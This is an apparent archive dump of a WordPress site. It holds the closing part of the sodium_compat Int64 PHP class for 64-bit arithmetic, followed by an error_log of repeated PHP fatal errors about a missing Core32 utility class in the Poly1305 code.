            // Handle integer overflow
            $c = 1;
            for ($i = 0; $i < 4; ++$i) {
                $res[$i] += $c;
                $c = $res[$i] >> 16;
                $res[$i] &= 0xffff;
            }
        }

        // Return our values
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs = array(
            $res[3] & 0xffff,
            $res[2] & 0xffff,
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 4) {
            $return->overflow = $res[4] & 0xffff;
        }
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $right
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mulInt64Fast(ParagonIE_Sodium_Core32_Int64 $right)
    {
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($right->limbs[0] >> 15) & 1;

        $a = array_reverse($this->limbs);
        $b = array_reverse($right->limbs);
        if ($aNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        $res = $this->multiplyLong($a, $b);
        if ($aNeg !== $bNeg) {
            if ($aNeg !== $bNeg) {
                for ($i = 0; $i < 4; ++$i) {
                    $res[$i] = ($res[$i] ^ 0xffff) & 0xffff;
                }
                $c = 1;
                for ($i = 0; $i < 4; ++$i) {
                    $res[$i] += $c;
                    $c = $res[$i] >> 16;
                    $res[$i] &= 0xffff;
                }
            }
        }
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs = array(
            $res[3] & 0xffff,
            $res[2] & 0xffff,
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 4) {
            $return->overflow = $res[4];
        }
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     */
    public function mulInt64(ParagonIE_Sodium_Core32_Int64 $int, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulInt64Fast($int);
        }
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        if (!$size) {
            $size = 63;
        }
        list($a, $b) = self::ctSelect($this, $int);

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $ret2 = 0;
        $ret3 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $a2 = $a->limbs[2];
        $a3 = $a->limbs[3];
        $b0 = $b->limbs[0];
        $b1 = $b->limbs[1];
        $b2 = $b->limbs[2];
        $b3 = $b->limbs[3];

        /** @var int $size */
        /** @var int $i */
        for ($i = (int) $size; $i >= 0; --$i) {
            $mask = -($b3 & 1);
            $x0 = $a0 & $mask;
            $x1 = $a1 & $mask;
            $x2 = $a2 & $mask;
            $x3 = $a3 & $mask;

            $ret3 += $x3;
            $c = $ret3 >> 16;

            $ret2 += $x2 + $c;
            $c = $ret2 >> 16;

            $ret1 += $x1 + $c;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;
            $ret2 &= 0xffff;
            $ret3 &= 0xffff;

            $a3 = $a3 << 1;
            $x3 = $a3 >> 16;
            $a2 = ($a2 << 1) | $x3;
            $x2 = $a2 >> 16;
            $a1 = ($a1 << 1) | $x2;
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $a2 &= 0xffff;
            $a3 &= 0xffff;

            $x0 = ($b0 & 1) << 16;
            $x1 = ($b1 & 1) << 16;
            $x2 = ($b2 & 1) << 16;

            $b0 = ($b0 >> 1);
            $b1 = (($b1 | $x0) >> 1);
            $b2 = (($b2 | $x1) >> 1);
            $b3 = (($b3 | $x2) >> 1);

            $b0 &= 0xffff;
            $b1 &= 0xffff;
            $b2 &= 0xffff;
            $b3 &= 0xffff;

        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        $return->limbs[2] = $ret2;
        $return->limbs[3] = $ret3;

        return $return;
    }

    /**
     * OR this 64-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function orInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] | $b->limbs[0]),
            (int) ($this->limbs[1] | $b->limbs[1]),
            (int) ($this->limbs[2] | $b->limbs[2]),
            (int) ($this->limbs[3] | $b->limbs[3])
        );
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 3;
            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            for ($i = 3; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i + $idx_shift) & 3;
                /** @var int $k */
                $k = ($i + $idx_shift + 1) & 3;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) << $sub_shift)
                            |
                        ((int) ($myLimbs[$k]) >> (16 - $sub_shift))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * Rotate to the right
     *
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        /** @var ParagonIE_Sodium_Core32_Int64 $return */
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 3;
            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            for ($i = 3; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i - $idx_shift) & 3;
                /** @var int $k */
                $k = ($i - $idx_shift - 1) & 3;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) >> (int) ($sub_shift))
                            |
                        ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift)))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }
    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;

        if ($c >= 16) {
            if ($c >= 48) {
                $return->limbs = array(
                    $this->limbs[3], 0, 0, 0
                );
            } elseif ($c >= 32) {
                $return->limbs = array(
                    $this->limbs[2], $this->limbs[3], 0, 0
                );
            } else {
                $return->limbs = array(
                    $this->limbs[1], $this->limbs[2], $this->limbs[3], 0
                );
            }
            return $return->shiftLeft($c & 15);
        }
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftRight(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $carry */
            $carry = 0;
            for ($i = 3; $i >= 0; --$i) {
                /** @var int $tmp */
                $tmp = ($this->limbs[$i] << $c) | ($carry & 0xffff);
                $return->limbs[$i] = (int) ($tmp & 0xffff);
                /** @var int $carry */
                $carry = $tmp >> 16;
            }
        }
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        $c = (int) $c;
        /** @var int $c */
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;

        $negative = -(($this->limbs[0] >> 15) & 1);
        if ($c >= 16) {
            if ($c >= 48) {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0]
                );
            } elseif ($c >= 32) {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0],
                    (int) $this->limbs[1]
                );
            } else {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0],
                    (int) $this->limbs[1],
                    (int) $this->limbs[2]
                );
            }
            return $return->shiftRight($c & 15);
        }

        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            return $this->shiftLeft(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $carryRight */
            $carryRight = ($negative & 0xffff);
            $mask = (int) (((1 << ($c + 1)) - 1) & 0xffff);
            for ($i = 0; $i < 4; ++$i) {
                $return->limbs[$i] = (int) (
                    (($this->limbs[$i] >> $c) | ($carryRight << (16 - $c))) & 0xffff
                );
                $carryRight = (int) ($this->limbs[$i] & $mask);
            }
        }
        return $return;
    }


    /**
     * Subtract a normal integer from an int64 object.
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function subInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        $int = (int) $int;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $carry */
        $carry = 0;
        for ($i = 3; $i >= 0; --$i) {
            /** @var int $tmp */
            $tmp = $this->limbs[$i] - (($int >> 16) & 0xffff) + $carry;
            /** @var int $carry */
            $carry = $tmp >> 16;
            $return->limbs[$i] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * The difference between two Int64 objects.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function subInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        /** @var int $carry */
        $carry = 0;
        for ($i = 3; $i >= 0; --$i) {
            /** @var int $tmp */
            $tmp = $this->limbs[$i] - $b->limbs[$i] + $carry;
            /** @var int $carry */
            $carry = ($tmp >> 16);
            $return->limbs[$i] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * XOR this 64-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function xorInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] ^ $b->limbs[0]),
            (int) ($this->limbs[1] ^ $b->limbs[1]),
            (int) ($this->limbs[2] ^ $b->limbs[2]),
            (int) ($this->limbs[3] ^ $b->limbs[3])
        );
        return $return;
    }

    /**
     * @param int $low
     * @param int $high
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInts($low, $high)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($high, 'int', 2);

        $high = (int) $high;
        $low = (int) $low;
        return new ParagonIE_Sodium_Core32_Int64(
            array(
                (int) (($high >> 16) & 0xffff),
                (int) ($high & 0xffff),
                (int) (($low >> 16) & 0xffff),
                (int) ($low & 0xffff)
            )
        );
    }

    /**
     * @param int $low
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInt($low)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1);
        $low = (int) $low;

        return new ParagonIE_Sodium_Core32_Int64(
            array(
                0,
                0,
                (int) (($low >> 16) & 0xffff),
                (int) ($low & 0xffff)
            )
        );
    }

    /**
     * @return int
     */
    public function toInt()
    {
        return (int) (
            (($this->limbs[2] & 0xffff) << 16)
                |
            ($this->limbs[3] & 0xffff)
        );
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) {
            throw new RangeException(
                'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int64();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff);
        $return->limbs[2]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff) << 8);
        $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff);
        $return->limbs[3]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff) << 8);
        $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff);
        return $return;
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromReverseString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) {
            throw new RangeException(
                'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int64();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff);
        $return->limbs[2]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8);
        $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff);
        $return->limbs[3]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8);
        $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff);
        return $return;
    }

    /**
     * @return array<int, int>
     */
    public function toArray()
    {
        return array(
            (int) ((($this->limbs[0] & 0xffff) << 16) | ($this->limbs[1] & 0xffff)),
            (int) ((($this->limbs[2] & 0xffff) << 16) | ($this->limbs[3] & 0xffff))
        );
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function toInt32()
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs[0] = (int) ($this->limbs[2]);
        $return->limbs[1] = (int) ($this->limbs[3]);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = (int) (ParagonIE_Sodium_Core32_Util::abs($this->limbs[1], 16) & 0xffff);
        return $return;
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function toInt64()
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs[0] = (int) ($this->limbs[0]);
        $return->limbs[1] = (int) ($this->limbs[1]);
        $return->limbs[2] = (int) ($this->limbs[2]);
        $return->limbs[3] = (int) ($this->limbs[3]);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = ParagonIE_Sodium_Core32_Util::abs($this->overflow);
        return $return;
    }

    /**
     * @param bool $bool
     * @return self
     */
    public function setUnsignedInt($bool = false)
    {
        $this->unsignedInt = !empty($bool);
        return $this;
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff);
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toReverseString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff);
    }

    /**
     * @return string
     */
    public function __toString()
    {
        try {
            return $this->toString();
        } catch (TypeError $ex) {
            // PHP engine can't handle exceptions from __toString()
            return '';
        }
    }
}
Core32/Poly1305/error_log000064400000052000152222652550010755 0ustar00[02-Sep-2024 22:17:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[02-Sep-2024 22:17:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[02-Sep-2024 22:18:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[02-Sep-2024 22:18:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[19-Sep-2024 20:21:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[10-Nov-2024 10:40:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[13-Nov-2024 09:50:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[16-Nov-2024 04:25:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[17-Nov-2024 02:12:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[19-Nov-2024 00:33:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[02-Feb-2025 02:14:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[22-Feb-2025 06:20:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[29-Mar-2025 10:00:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[13-May-2025 10:00:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[13-May-2025 10:00:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[13-May-2025 10:00:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[13-May-2025 10:00:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[14-May-2025 12:01:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[14-May-2025 12:01:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[14-May-2025 12:01:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[14-May-2025 12:01:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[14-May-2025 14:31:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[14-May-2025 14:31:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[14-May-2025 14:31:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[14-May-2025 14:31:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[18-Jun-2025 16:54:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[19-Jul-2025 09:09:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[20-Aug-2025 23:26:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[21-Aug-2025 21:33:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[26-Aug-2025 06:27:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
[26-Aug-2025 06:36:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10
